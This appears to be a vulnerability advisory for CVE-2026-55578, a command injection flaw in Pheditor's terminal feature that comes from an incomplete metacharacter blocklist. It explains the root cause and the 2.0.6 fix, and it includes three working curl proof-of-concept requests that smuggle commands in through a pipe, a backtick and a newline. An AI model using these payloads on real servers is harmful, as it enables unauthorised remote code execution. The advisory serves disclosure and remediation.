CVE-2026-55578: Pheditor OS Command Injection via Incomplete Terminal Blocklist
Pheditor's built-in terminal blocks some shell metacharacters but misses the pipe operator, backtick, and newline byte, letting any logged-in user run arbitrary OS commands on the server.
The problem
Pheditor 2.0.1 through 2.0.5 passes the POST parameter `command` directly to `shell_exec()` after a blocklist check at `pheditor.php:557`. The blocklist catches `&`, `;`, `||`, and `$`, but leaves single `|`, backtick, and the newline byte (0x0A) unblocked.
A `TERMINAL_COMMANDS` allowlist also validates the command prefix, but only checks that the string starts with a permitted name. All three bypasses satisfy that prefix check while appending injected commands after the metacharacter, giving any authenticated user with the `terminal` permission (on by default) full RCE as the web server user.
Proof of concept
A working proof-of-concept for CVE-2026-55578 in pheditor/pheditor, with the exact payload below.
# Bypass 1: single pipe (filter blocks || but not |)
curl -s -b /tmp/cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls | id" \
--data-urlencode "dir="
# Expected: uid=... gid=... — id output proves RCE
# Bypass 2: backtick substitution (not in blocklist at all)
curl -s -b /tmp/cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode 'command=echo `id`' \
--data-urlencode "dir="
# Bypass 3: newline byte 0x0A (only first line checked against allowlist)
curl -s -b /tmp/cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode $'command=ls\nid' \
--data-urlencode "dir="The root cause is CWE-78: the blocklist at `pheditor.php:557` is a denylist of specific character sequences, not a whitelist of safe input. Blocklist approaches fail when any metacharacter is overlooked. Single `|` pipes stdout of the whitelisted command into an arbitrary second command.
Backtick substitution executes the inner command before the outer one even runs. A literal newline splits the input into two shell statements, and only the first line is validated.
The 2.0.6 patch extends the `strpos` check to also block `|` (catching both `|` and `||`), the backtick character, and `\n` (0x0A), so all three bypass paths are closed. The fix is still a blocklist, so the recommended long-term remediation is to parse the command into an executable and discrete arguments, validate the executable by exact match, and pass each argument through `escapeshellarg()` or use `proc_open()` with an argument array.
The fix
Update to pheditor 2.0.6. In that release the `strpos` blocklist in `pheditor.php:557` is extended to include `|`, `` ` ``, and `\n`. If you cannot update immediately, disable the `terminal` permission in the `PERMISSIONS` constant and change the default password from `admin`.
Related research
- critical · 9.8CVE-2026-55579CVE-2026-55579: Pheditor Hardcoded Default Password Enables Unauthenticated RCE
- highCVE-2026-40187CVE-2026-40187: EGroupware Authenticated RCE via eTemplate eval Injection
- high · 8.2CVE-2026-49260CVE-2026-49260: php-weasyprint OS Command Injection via Binary Path
- high · 8.1CVE-2026-55173CVE-2026-55173: AVideo sanitizeFFmpegCommand OS Command Injection via Ampersand Bypass